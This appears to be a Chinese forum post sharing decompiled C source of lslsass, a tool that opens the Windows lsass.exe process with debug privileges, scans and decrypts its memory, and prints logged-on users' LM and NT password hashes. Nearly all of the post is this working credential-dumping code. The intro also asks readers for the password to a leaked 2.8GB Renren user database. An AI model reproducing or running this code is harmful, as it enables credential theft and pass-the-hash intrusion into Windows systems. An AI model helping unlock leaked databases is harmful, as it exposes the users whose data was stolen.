这是早期逆向 lslsass32.exe 的一份代码 大概为完整代码的95% 完整代码已经给我朋友pang0了 他暂时不想发出来
就先发这份代码吧 会调试的弄个完整的也花不了多少时间 另外 谁知道人人网2.8GB数据库压缩包的解压密码 知道的麻烦短信告知 先谢啦
好像很多人不知道这个工具 这个工具和WCE类似 可以从活动进程中列出所有登录用户的HASH
原始工具下载地址:http://www.truesec.se/sakerhet/verktyg/saakerhet/lslsass_v1.0_%28x86%29
#include "stdafx.h"
#include <windows.h>
#include <TLHELP32.H>
/*
FuncitonName : doEnablePrivilege
ReturnValue:
TRUE ----- Successed
FASLE ----- Failed
*/
BOOL doEnablePrivilege(LPCWSTR lpszPrivilege, BOOL bEnablePrivilege)
{
HANDLE hCur; // eax@3
struct _TOKEN_PRIVILEGES NewState; // [sp+0h] [bp-44h]@3
struct _LUID Luid; // [sp+18h] [bp-2Ch]@1
HANDLE TokenHandle; // [sp+28h] [bp-1Ch]@3
if ( !LookupPrivilegeValueW(0, lpszPrivilege, &Luid) )
{
printf("LookupPrivilegeValue error: %u\n", GetLastError() );
return FALSE;
}
NewState.PrivilegeCount = 1;
NewState.Privileges[0].Luid.LowPart = Luid.LowPart;
NewState.Privileges[0].Luid.HighPart = Luid.HighPart;
NewState.Privileges[0].Attributes = bEnablePrivilege != 0 ? SE_PRIVILEGE_ENABLED : 0;
hCur = GetCurrentProcess();
if ( !OpenProcessToken(hCur, TOKEN_ALL_ACCESS, &TokenHandle) )
{
printf("OpenProcessToken error: %u\n", GetLastError() );
return FALSE;
}
if ( !AdjustTokenPrivileges(TokenHandle, 0, &NewState, sizeof(TOKEN_PRIVILEGES), 0, 0) )
{
printf("AdjustTokenPrivileges error: %u\n", GetLastError() );
return FALSE;
}
CloseHandle(TokenHandle);
return TRUE;
}
/*
FuncitonName : doGetProcessId
ReturnValue:
dwPid ---- return the process id
*/
DWORD doGetProcessId(const wchar_t *wszProcess)
{
HANDLE hSnapshot; // eax@3
PROCESSENTRY32W pe; // [sp+30h] [bp+0h]@1
DWORD dwPid = 0;
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if ( hSnapshot == (HANDLE)INVALID_HANDLE_VALUE )
{
printf("CreateToolhelp32Snapshot error: %u\n", GetLastError() );
return 0;
}
pe.dwSize = sizeof( PROCESSENTRY32 );
if ( !Process32FirstW(hSnapshot, &pe) )
{
printf("Process32FirstW error: %u\n", GetLastError() );
CloseHandle( hSnapshot );
return 0;
}
do
{
if ( wcsstr(pe.szExeFile, wszProcess) )
{
dwPid = pe.th32ProcessID;
}
}
while ( Process32NextW(hSnapshot, &pe) );
CloseHandle(hSnapshot);
return dwPid;
}
struct StrProcess{
HANDLE hProcess; /* 0x00 0 Process Handle */
DWORD dwPid; /* 0x04 1 Process ID */
DWORD pHeap1; /* 0x08 2 free(PHeap1) */
DWORD lpAddrTemp; /* 0x0C 3 -28 */
DWORD lpAddrReal; /* 0x10 4 -28 pAddr-24--->found real token */
DWORD Unknow4; /* 0x14 5 ... */
DWORD Unknow5; /* 0x18 6 ... */
};
void doOpenLsassProcess(StrProcess *stProcess)
{
HANDLE hProcess; // edi@1
int nPid; // eax@1
stProcess->hProcess = NULL;
doEnablePrivilege(L"SeDebugPrivilege", TRUE);
nPid = doGetProcessId( L"lsass.exe");
stProcess->dwPid = nPid;
printf("Found Lsass pid: %u\n", nPid);
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_VM_OPERATION,
TRUE, stProcess->dwPid);//0x438
if ( stProcess->hProcess )
CloseHandle(stProcess->hProcess);
stProcess->hProcess = hProcess;
printf("Lsass process open\n");
stProcess->pHeap1 = 0;
stProcess->Unknow5 = 0;
stProcess->Unknow4 = 0;
return ;
}
unsigned int doInitAddr(StrProcess *stProcess)
{
unsigned int dwRet; // eax@1
dwRet = 0xFFFFFFE4u;
stProcess->lpAddrReal = 0xFFFFFFE4u;
stProcess->lpAddrTemp = 0xFFFFFFE4u;
return dwRet;
}
void doLeave(StrProcess *stProcess)
{
if ( stProcess->pHeap1 )
free((void *)stProcess->pHeap1);
if ( stProcess->hProcess )
CloseHandle(stProcess->hProcess);
}
BOOL doFindToken(StrProcess *stProcess)
{
DWORD dwAddr2; // esi@4
DWORD dwAddr3; // eax@21
SIZE_T NumberOfBytesRead; // [sp+14h] [bp-40h]@5
DWORD dwFound; // [sp+1Ch] [bp-38h]@9
DWORD dwData[2]; // [sp+20h] [bp-34h]@5
struct _MEMORY_BASIC_INFORMATION Buffer; // [sp+38h] [bp-1Ch]@2
HANDLE hProcess = stProcess->hProcess;
DWORD dwAddr = stProcess->lpAddrTemp + 28; // 前面初始化为-28
if ( dwAddr >= 0x70000000 )
return 0;
while ( 1 )
{
if ( !VirtualQueryEx(hProcess, (LPCVOID)dwAddr, &Buffer, sizeof(MEMORY_BASIC_INFORMATION)) || Buffer.Type != MEM_PRIVATE )
goto LABEL_14;
dwAddr2 = dwAddr;
if ( dwAddr < dwAddr + Buffer.RegionSize )
break;
LABEL_14:
dwAddr3 = (dwAddr + 4096) & 0xFFFFF000;
dwAddr = Buffer.RegionSize + (DWORD)Buffer.BaseAddress;
if ( dwAddr3 > dwAddr )
dwAddr = dwAddr3;
if ( dwAddr >= 0x70000000 )
return 0;
}
while ( 1 )
{
if ( !ReadProcessMemory(hProcess, (LPCVOID)dwAddr2, (LPVOID)&dwData, 8u, &NumberOfBytesRead) )
{
printf("ReadProcessMemory error: %u\n", GetLastError() );
return 0;
}
if ( dwData[0] == 0x6D697250 ) //特征码1
{
if ( dwData[1] == 0x797261 ) //特征码2 通过特征码来确定是否找到令牌
{
printf("Found possible primary token\n");
if ( !ReadProcessMemory(hProcess, (LPCVOID)(dwAddr2 - 12), (LPVOID)&dwFound, 4u, &NumberOfBytesRead) )
{
printf("ReadProcessMemory error: %u\n", GetLastError() );
return 0;
}
if ( dwFound == dwAddr2 )
break;
}
}
dwAddr2 += 4;
if ( dwAddr2 >= dwAddr + Buffer.RegionSize )
goto LABEL_14;
}
printf("Found real token\n");
stProcess->lpAddrReal = dwAddr2 - 24;
return 1;
}
struct strBuff2{
DWORD dwAddr;
HANDLE hProcess;
};
BOOL doReadProcessMemory(strBuff2 *stBuf, LPVOID lpBuffer, SIZE_T NumberOfBytesRead)
{
BOOL bRet; // eax@1
bRet = ReadProcessMemory(stBuf->hProcess, (LPCVOID)stBuf->dwAddr, lpBuffer, NumberOfBytesRead, &NumberOfBytesRead);
if ( !bRet )
{
printf("ReadProcessMemory error: %u\n", GetLastError() );
return 0;
}
return bRet;
}
DWORD doReadProcessMemory2(strBuff2 *stBuf)
{
SIZE_T NumberOfBytesRead; // [sp+0h] [bp-10h]@1
DWORD Buffer; // [sp+4h] [bp-Ch]@1
if ( !ReadProcessMemory(stBuf->hProcess, (LPCVOID)stBuf->dwAddr, &Buffer, 4u, &NumberOfBytesRead) )
{
printf("ReadProcessMemory error: %u\n", GetLastError() );
return 0;
}
return Buffer;
}
#pragma comment(lib,"Bcrypt")
#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L)
/*
bMode:
TRUE : Encrypt
FALSE : Decrypt
*/
NTSTATUS __cdecl doBCryptData(PUCHAR pbInput, ULONG cbInput, DWORD npbIV1, DWORD npbIV2, DWORD *pbSecretAddr, BOOL bMode)
{
NTSTATUS ntStatus; // eax@1
char dwFlagOpen; // bl@1
PUCHAR pbKeyObject; // ecx@5
ULONG dwFlags; // edx@10
PUCHAR pbOutput; // edi@10
int nStatus; // edx@10
bool bFlag; // zf@10
NTSTATUS ntStatus2; // eax@12
BCRYPT_ALG_HANDLE hAlgorithm; // [sp+Ch] [bp-38h]@1
UCHAR cbKeyObject[4]; // [sp+10h] [bp-34h]@3
BCRYPT_KEY_HANDLE hKey; // [sp+14h] [bp-30h]@8
ULONG pcbResult; // [sp+1Ch] [bp-28h]@3
DWORD pbIV[2]; // [sp+20h] [bp-24h]@9
DWORD pbSecret[6]; // [sp+28h] [bp-1Ch]@7
dwFlagOpen = 0;
ntStatus = BCryptOpenAlgorithmProvider(&hAlgorithm, L"3DES", 0, 0);
if ( !ntStatus )
{
dwFlagOpen = 1;
ntStatus = BCryptSetProperty(hAlgorithm, L"ChainingMode", (PUCHAR)L"ChainingModeCBC", 32u, 0);
}
*(DWORD *)cbKeyObject = 0;
pcbResult = 4;
if ( !ntStatus )
ntStatus = BCryptGetProperty(hAlgorithm, L"ObjectLength", cbKeyObject, 4u, &pcbResult, 0);
pbKeyObject = 0;
if ( !ntStatus )
{
pbKeyObject = (PUCHAR)malloc(*(size_t *)cbKeyObject);
ntStatus = (pbKeyObject != 0 ? -STATUS_UNSUCCESSFUL : 0) + STATUS_UNSUCCESSFUL;
}
pbSecret[0] = *pbSecretAddr;
pbSecret[1] = pbSecretAddr[1];
pbSecret[2] = pbSecretAddr[2];
pbSecret[3] = pbSecretAddr[3];
pbSecret[4] = pbSecretAddr[4];
pbSecret[5] = pbSecretAddr[5];
if ( !ntStatus )
ntStatus = BCryptGenerateSymmetricKey(hAlgorithm, &hKey, pbKeyObject, *(ULONG *)cbKeyObject, (PUCHAR)pbSecret, 24u, 0);
pbIV[0] = npbIV1;
pbIV[1] = npbIV2;
if ( !ntStatus )
{
pbOutput = (PUCHAR)malloc(cbInput);
nStatus = pbOutput != 0 ? -STATUS_UNSUCCESSFUL : 0;
bFlag = nStatus == -STATUS_UNSUCCESSFUL;
dwFlags = nStatus + STATUS_UNSUCCESSFUL;
if ( bFlag )
{
if ( bMode )
ntStatus2 = BCryptEncrypt(hKey, pbInput, cbInput, 0, (PUCHAR)pbIV, 8u, pbOutput, cbInput, &pcbResult, dwFlags);
else
ntStatus2 = BCryptDecrypt(hKey, pbInput, cbInput, 0, (PUCHAR)pbIV, 8u, pbOutput, cbInput, &pcbResult, dwFlags);
if ( !ntStatus2 )
{
memcpy(pbInput, pbOutput, cbInput);
free(pbOutput);
}
}
ntStatus = BCryptDestroyKey(hKey);
}
if ( dwFlagOpen )
ntStatus = BCryptCloseAlgorithmProvider(hAlgorithm, 0);
return ntStatus;
}
NTSTATUS __cdecl doBCryptDecryptData(PUCHAR pbInput, ULONG cbOutput, DWORD npbIV1, DWORD npbIV2, DWORD *pbSecretAddr)
{
return doBCryptData(pbInput, cbOutput, npbIV1, npbIV2, pbSecretAddr, 0);
}
NTSTATUS __cdecl doBCryptEncryptData(PUCHAR pbInput, ULONG cbOutput, DWORD npbIV1, DWORD npbIV2, DWORD *pbSecretAddr)
{
return doBCryptData(pbInput, cbOutput, npbIV1, npbIV2, pbSecretAddr, 1);
}
DWORD doFindAddr(StrProcess *stProcess)
{
SIZE_T dwAddr1; // esi@2
SIZE_T dwAddr2; // eax@5
SIZE_T dwAddr3; // [sp+14h] [bp-64h]@2
DWORD dwData1; // [sp+20h] [bp-58h]@6
DWORD dwData2; // [sp+28h] [bp-50h]@9
DWORD dwData3; // eax@12
SIZE_T NumberOfBytesRead; // [sp+1Ch] [bp-5Ch]@6
strBuff2 stBuf; // [sp+2Ch] [bp-4Ch]@12
strBuff2 stBuf2; // [sp+34h] [bp-44h]@13
strBuff2 stBuf3; // [sp+3Ch] [bp-3Ch]@14
strBuff2 stBuf4; // [sp+54h] [bp-24h]@26
struct _MEMORY_BASIC_INFORMATION Buffer; // [sp+5Ch] [bp-1Ch]@3
if ( stProcess->Unknow5 )
return stProcess->Unknow5;
dwAddr1 = 0;
dwAddr3 = 0;
while ( 1 )
{
if ( !VirtualQueryEx(stProcess->hProcess, (LPCVOID)dwAddr1, &Buffer, 28u) || Buffer.Type != MEM_PRIVATE )
{
dwAddr2 = Buffer.RegionSize;
goto LABEL_17;
}
dwAddr2 = Buffer.RegionSize;
if ( dwAddr1 < Buffer.RegionSize + dwAddr1 )
break;
LABEL_17:
if ( dwAddr2 < 0x1000 )
dwAddr2 = 4096;
dwAddr1 += dwAddr2;
dwAddr3 = dwAddr1;
if ( dwAddr1 >= 0x70000000 )
{
return 0;
}
}
while ( 1 )
{
if ( !ReadProcessMemory(stProcess->hProcess, (LPCVOID)(dwAddr1 + 4), &dwData1, 4u, &NumberOfBytesRead) )
{
printf("ReadProcessMemory error: %u\n", GetLastError() );
return 0;
}
if ( dwData1 == 0x55555552 ) //特征码1
{
if ( !ReadProcessMemory(stProcess->hProcess, (LPCVOID)dwAddr1, &dwData2, 4u, &NumberOfBytesRead) )
{
printf("ReadProcessMemory error: %u\n", GetLastError() );
return 0;
}
if ( dwData2 <= 32 )
{
stBuf.hProcess = stProcess->hProcess;
stBuf.dwAddr = dwAddr1 + 12;
dwData3 = doReadProcessMemory2(&stBuf);
if ( dwData3 - dwData2 - dwAddr1 <= 12 )
{
stBuf2.hProcess = stProcess->hProcess;
stBuf2.dwAddr = dwData3 + 4;
if ( doReadProcessMemory2(&stBuf2) == 0x4D53534B ) //特征码1
{
stBuf3.hProcess = stProcess->hProcess;
stBuf3.dwAddr = dwData3 + 8;
if ( doReadProcessMemory2(&stBuf3) == 0x10005 ) //特征码1
break;
}
}
}
}
dwAddr2 = Buffer.RegionSize;
dwAddr1 += 4;
if ( dwAddr1 >= Buffer.RegionSize + dwAddr3 )
{
dwAddr1 = dwAddr3;
goto LABEL_17;
}
}
stProcess->Unknow5 = dwAddr1;
stBuf4.hProcess = stProcess->hProcess;
stBuf4.dwAddr = dwData3 + 28;
doReadProcessMemory(&stBuf4, &stProcess[1].lpAddrTemp, 24u);
return stProcess->Unknow5;
}
DWORD doFindAddr2(StrProcess *stProcess)
{
HMODULE hLsasrv; // eax@1
SIZE_T dwAddr1; // eax@6
DWORD dwAddr2; // esi@6
DWORD dwAddr3; // ebp@1
DWORD dwAddr4; // ebx@3
SIZE_T NumberOfBytesRead; // [sp+10h] [bp-48h]@7
DWORD dwData1; // [sp+14h] [bp-44h]@7
DWORD dwData2[2]; // [sp+1Ch] [bp-3Ch]@10
struct _MEMORY_BASIC_INFORMATION Buffer; // [sp+3Ch] [bp-1Ch]@4
doFindAddr(stProcess);
hLsasrv = LoadLibraryW(L"lsasrv.dll");
dwAddr3 = (DWORD)hLsasrv;
if ( !hLsasrv )
{
printf("LoadLibraryW error: %u\n", GetLastError() );
return 0;
}
FreeLibrary(hLsasrv);
dwAddr4 = dwAddr3;
if ( dwAddr3 >= dwAddr3 + 0x1000000 )
{
return 0;
}
while ( 1 )
{
if ( !VirtualQueryEx(stProcess->hProcess, (LPCVOID)dwAddr4, &Buffer, 28u) || Buffer.Type == MEM_FREE )
{
dwAddr1 = Buffer.RegionSize;
goto LABEL_17;
}
dwAddr1 = Buffer.RegionSize;
dwAddr2 = dwAddr4;
if ( dwAddr4 < Buffer.RegionSize + dwAddr4 )
break;
LABEL_17:
if ( dwAddr1 < 0x1000 )
dwAddr1 = 4096;
dwAddr4 += dwAddr1;
if ( dwAddr4 >= dwAddr3 + 0x1000000 )
return 0;
}
while ( 1 )
{
if ( !ReadProcessMemory(stProcess->hProcess, (LPCVOID)dwAddr2, &dwData1, 4u, &NumberOfBytesRead) )
{
printf("ReadProcessMemory error: %u\n", GetLastError() );
return 0;
}
if ( dwData1 == stProcess->Unknow5 )
{
if ( !ReadProcessMemory(stProcess->hProcess, (LPCVOID)(dwAddr2 + 16), &dwData2, 8u, &NumberOfBytesRead) )
{
printf("ReadProcessMemory error: %u\n", GetLastError() );
return 0;
}
if ( dwData2[1] & 0xFFFFFF00 )
{
if ( LOWORD(dwData2[0]) )
{
if ( ((dwData2[0] ^ dwAddr3) & 0xFF000000) <= 0x4000000 )
break;
}
}
}
dwAddr1 = Buffer.RegionSize;
dwAddr2 += 4;
if ( dwAddr2 >= Buffer.RegionSize + dwAddr4 )
{
goto LABEL_17;
}
}
stProcess[1].pHeap1 = dwData2[1];
stProcess->Unknow4 = dwAddr2 + 16;
stProcess[1].dwPid = dwData2[0];
return (dwAddr2 + 16);
}
DWORD doFindAddr3(StrProcess *stProcess)
{
HMODULE hLsasrvDll; // eax@3
DWORD dwAddr5; // esi@3
DWORD dwAddr1; // ebx@5
SIZE_T dwAddr3; // eax@8
DWORD dwAddr2; // edi@8
DWORD dwAddr4; // [sp+14h] [bp-48h]@5
DWORD *pAddr; // eax@3
SIZE_T NumberOfBytesRead; // [sp+10h] [bp-4Ch]@9
DWORD pbInput[2]; // [sp+18h] [bp-44h]@3
DWORD nHData2[2]; // [sp+20h] [bp-3Ch]@3
DWORD nHData1[2]; // [sp+30h] [bp-2Ch]@9
struct _MEMORY_BASIC_INFORMATION Buffer; // [sp+40h] [bp-1Ch]@6
doFindAddr(stProcess);
pAddr = *(DWORD **)(stProcess->pHeap1 + 20);
pbInput[0] = *pAddr;
pbInput[1] = pAddr[1];
doBCryptDecryptData((PUCHAR)pbInput, 8u, 0, 0, &stProcess[1].lpAddrTemp);
nHData2[0] = pbInput[0] & 0xFF00FF00;
nHData2[1] = pbInput[1] & 0xFFFFFF00;
hLsasrvDll = LoadLibraryW(L"lsasrv.dll");
dwAddr5 = (DWORD)hLsasrvDll;
if ( !hLsasrvDll )
{
printf("LoadLibraryW error: %u\n", GetLastError() );
return 0;
}
FreeLibrary(hLsasrvDll);
dwAddr1 = dwAddr5;
dwAddr4 = dwAddr5 + 0x1000000;
if ( dwAddr5 >= dwAddr5 + 0x1000000 )
{
return 0;
}
while ( 1 )
{
if ( !VirtualQueryEx(stProcess->hProcess, (LPCVOID)dwAddr1, &Buffer, 28u) || Buffer.Type == MEM_FREE )
{
dwAddr3 = Buffer.RegionSize;
goto LABEL_16;
}
dwAddr3 = Buffer.RegionSize;
dwAddr2 = dwAddr1;
if ( dwAddr1 < Buffer.RegionSize + dwAddr1 )
break;
LABEL_16:
if ( dwAddr3 < 0x1000 )
dwAddr3 = 4096;
dwAddr1 += dwAddr3;
if ( dwAddr1 >= dwAddr4 )
return 0;
}
while ( 1 )
{
if ( !ReadProcessMemory(stProcess->hProcess, (LPCVOID)dwAddr2, nHData1, 8u, &NumberOfBytesRead) && NumberOfBytesRead == 8 )
{
printf("ReadProcessMemory error: %u\n", GetLastError() );
return 0;
}
if ( (nHData1[0] & 0xFF00FF00) == nHData2[0] )
{
if ( (nHData1[1] & 0xFFFFFF00) == nHData2[1]
&& (unsigned __int16)(LOWORD(pbInput[0]) ^ LOWORD(nHData1[0])) + 2 == (pbInput[0] ^ nHData1[0]) >> 16 )
break;
}
dwAddr3 = Buffer.RegionSize;
dwAddr2 += 4;
if ( dwAddr2 >= Buffer.RegionSize + dwAddr1 )
{
goto LABEL_16;
}
}
stProcess[1].pHeap1 = nHData1[1];
stProcess->Unknow4 = dwAddr2;
stProcess[1].dwPid = nHData1[0];
return dwAddr2;
}
typedef unsigned __int64 QWORD;
__int64 doGetnpbIV(DWORD dwAddr, StrProcess *stProcess)
{
if ( !stProcess->Unknow4 )
{
doFindAddr3(stProcess);
if ( !stProcess->Unknow4 )
doFindAddr2(stProcess);
}
return *(QWORD *)&stProcess[1].dwPid;
}
#define HIDWORD(x) (*((DWORD*)&(x)+1))
struct strHashInfo{ // 48 bytes
BYTE btDomain[8]; //域名 或 机器名
BYTE btUsername[8]; //用户名
BYTE btPwdNtHash[16]; // NT Hash
BYTE btPwdLmHash[16]; // LM Hash
};
DWORD doDecryptMemBlock(StrProcess *stProcess)
{
StrProcess *stProcess2; // edi@1
DWORD dwAddr3; // eax@5
HANDLE hProcess; // ebx@5
strHashInfo *v4; // esi@8
SIZE_T v5; // ecx@8
SIZE_T v6; // ST10_4@8
void *v7; // ST0C_4@8
PUCHAR pbInput; // ebx@10
__int64 nHnpbIV; // qax@10
SIZE_T NumberOfBytesRead; // [sp+18h] [bp-34h]@5
DWORD v12; // [sp+1Ch] [bp-30h]@7
int v13; // [sp+20h] [bp-2Ch]@7
strBuff2 stBuf; // [sp+24h] [bp-28h]@8
strBuff2 stBuf2; // [sp+2Ch] [bp-20h]@8
BYTE v16; // [sp+34h] [bp-18h]@5
stProcess2 = stProcess;
if ( stProcess->lpAddrReal == stProcess->lpAddrTemp )
doFindToken(stProcess);
if ( stProcess2->lpAddrReal == stProcess2->lpAddrTemp )
RaiseException(259u, 0, 0, 0);
dwAddr3 = stProcess2->lpAddrReal;
hProcess = stProcess2->hProcess;
stProcess2->lpAddrTemp = dwAddr3;
if ( !ReadProcessMemory(hProcess, (LPCVOID)dwAddr3, &v16, 24u, &NumberOfBytesRead) )
{
if ( NumberOfBytesRead == 24 )
{
}
}
v4 = (strHashInfo *)malloc(*((unsigned __int16 *)&v16 + 9) + *((unsigned __int16 *)&v16 + 5) + 24);
*(DWORD *)&v4->btUsername[0] = *((DWORD *)&v16 + 2);
v5 = *(WORD *)&v4->btUsername[2];
*(DWORD *)&v4->btUsername[4] = *((DWORD *)&v16 + 3);
*(DWORD *)&v4->btPwdNtHash[0] = *((DWORD *)&v16 + 4);
*(DWORD *)&v4->btUsername[4] = (char *)v4 + 24;
*(DWORD *)&v4->btPwdNtHash[4] = (char *)v4 + v5 + 24;
stBuf.hProcess = hProcess;
stBuf.dwAddr = *((DWORD *)&v16 + 3);
doReadProcessMemory(&stBuf, &v4->btPwdNtHash[8], v5);
v6 = *(WORD *)&v4->btPwdNtHash[2];
v7 = *(void **)&v4->btPwdNtHash[4];
stBuf2.hProcess = hProcess;
stBuf2.dwAddr = *((DWORD *)&v16 + 5);
doReadProcessMemory(&stBuf2, v7, v6);
if ( stProcess2->pHeap1 )
free((void *)stProcess2->pHeap1);
stProcess2->pHeap1 = (DWORD)v4;
pbInput = *(PUCHAR *)&v4->btPwdNtHash[4];
nHnpbIV = doGetnpbIV((int)&stProcess2[1].lpAddrTemp, stProcess2);
doBCryptDecryptData(pbInput, *(WORD *)&v4->btPwdNtHash[2], nHnpbIV, HIDWORD(nHnpbIV), &stProcess2[1].lpAddrTemp);
*((DWORD *)pbInput + 1) += pbInput;
*((DWORD *)pbInput + 3) += pbInput;
return stProcess2->pHeap1;
}
void __cdecl doShowUsage()
{
printf("\nUSAGE\n lslsass [ANY_ARGUMENT]\n\nDESCRIPTION");
printf("\n Dump active logon session password hashes from the lsass process.\n");
printf("\nPLATFORMS\n Windows Vista (x86/x64)\n Windows Server 2008 (x86/x64)\n Windows Server 2008 R2 (x86/x64)"
"\n Windows 7 (x86/x64)\n");
}
void __cdecl doShowLicense()
{
printf("\nLICENSE\n Freeware\n\nDISCLAIMER\n");
printf(" The software is licensed \"as-is\". You bear the risk of using it.\n");
printf(" Truesec gives no express warranties, guarantees or conditions.\n");
printf(" IF YOU DO NOT ACCEPT THIS, DO NOT USE THE SOFTWARE.\n");
}
void __cdecl doShowContributors()
{
printf("\nCONTRIBUTORS\n Mikael Janers\n");
printf("\nCREDITS\n Hernan Ochoa\n Marcus Murray\n");
}
void __cdecl doFormatHash(strHashInfo *pHashInfo)
{
int i;
if ( pHashInfo )
{
printf("%.*S", *(WORD *)&pHashInfo->btDomain[0], *(DWORD *)&pHashInfo->btDomain[4]);
printf("\\");
}
printf("%.*S", *(WORD *)&pHashInfo->btUsername[0], *(DWORD *)&pHashInfo->btUsername[4]);
printf("::");
i = 0;
do
printf("%02x", pHashInfo->btPwdLmHash[i++]);
while ( i < 16 );
printf(":");
i = 0;
do
printf("%02x", pHashInfo->btPwdNtHash[i++]);
while ( i < 16 );
printf(":::\n");
}
int __cdecl xmain(int argc, const char **argv, const char **envp)
{
int nRet; // eax@2
DWORD dwHashAddr; // eax@5
StrProcess stProcess; // [sp+10h] [bp-54h]@3
printf("\nlslsass v1.0 - Copyright (C) 2010 Bjorn Brolin, Truesec ([url]www.truesec.com[/url])\n");
if ( argc == 1 )
{
printf("\nNo argument given, display usage only\n");
doShowUsage();
doShowLicense();
doShowContributors();
nRet = -1;
}
else
{
doOpenLsassProcess(&stProcess);
doInitAddr(&stProcess);
while ( doFindToken(&stProcess) )
{
dwHashAddr = doDecryptMemBlock(&stProcess);
doFormatHash(*(strHashInfo **)(dwHashAddr + 20));
}
doLeave(&stProcess);
nRet = 0;
}
return nRet;
}